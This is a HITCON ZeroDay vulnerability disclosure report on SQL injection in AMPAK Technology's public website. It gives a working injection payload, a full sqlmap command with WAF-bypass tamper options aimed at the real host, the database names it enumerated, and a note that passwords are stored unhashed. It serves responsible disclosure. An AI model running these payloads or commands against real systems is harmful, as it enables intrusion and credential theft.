Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2018-01469
- Vendor: 正基科技股份有限公司
- Title: 正基科技AMPAK Technology sql injection
- Introduction: sql injection
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2018/09/26 23:13:36 : 新提交 (由 MBA666 更新此狀態)
- 2018/09/27 23:40:54 : 新提交 (由 MBA666 更新此狀態)
- 2018/09/28 22:44:44 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/09/30 23:09:07 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/09/30 23:09:07 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/11/26 03:00:04 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2018-01469
- 通報者:seanhung (MBA666)
- 風險:高
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
敘述
平常header的XFF習慣會掛一個單引號(http://www.ampak.com.tw/product.php?id=21')
當出現:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1 那就很明顯了,撿到了SQLi了~
Payload: id=21 AND (SELECT 2(IF((SELECT FROM (SELECT CONCAT(0x716a6b7071,(SELECT (ELT(9743=9743,1))),0x7171706b71,0x78))s), 8446744073709551610, 8446744073709551610))) Vector: AND (SELECT 2(IF((SELECT FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))
當確認已經有SQL INJECTION 的時候我用sqlmap來實現漏洞的運用
sqlmap指令:sqlmap -u www.ampak.com.tw/product.php\?id\=21 --random-agent --threads=5 --risk=3 --level=5 -v2 --tamper=between,informationschemacomment,bluecoat,charencode --drop-set-cookie --fresh-queries --binary-fields -identify-waf --text-only --titles --invalid-string --invalid-logical --invalid-bignum --dbms="microsoft access" --hpp --parse-errors --no-cast --no-escape --ignore-proxy -o --dbs
available databases [7]:
[] ampak_2016_en
[] ampak_2016_kr
[] ampak_2016_tw
[] ampak_en
[] ampak_kr
[] ampak_tw
[*] information_schema
雖然有用WAF and TIMEOUT 來防禦不過加了一些參數後還是可以輕易的bypass掉
加上密碼進去的時候並沒有HASH只要DUMP出來就可以輕易知道PASSWORD
修補建議
密碼進去database裡要加hash比較好至少被dump出來之後還有一層防禦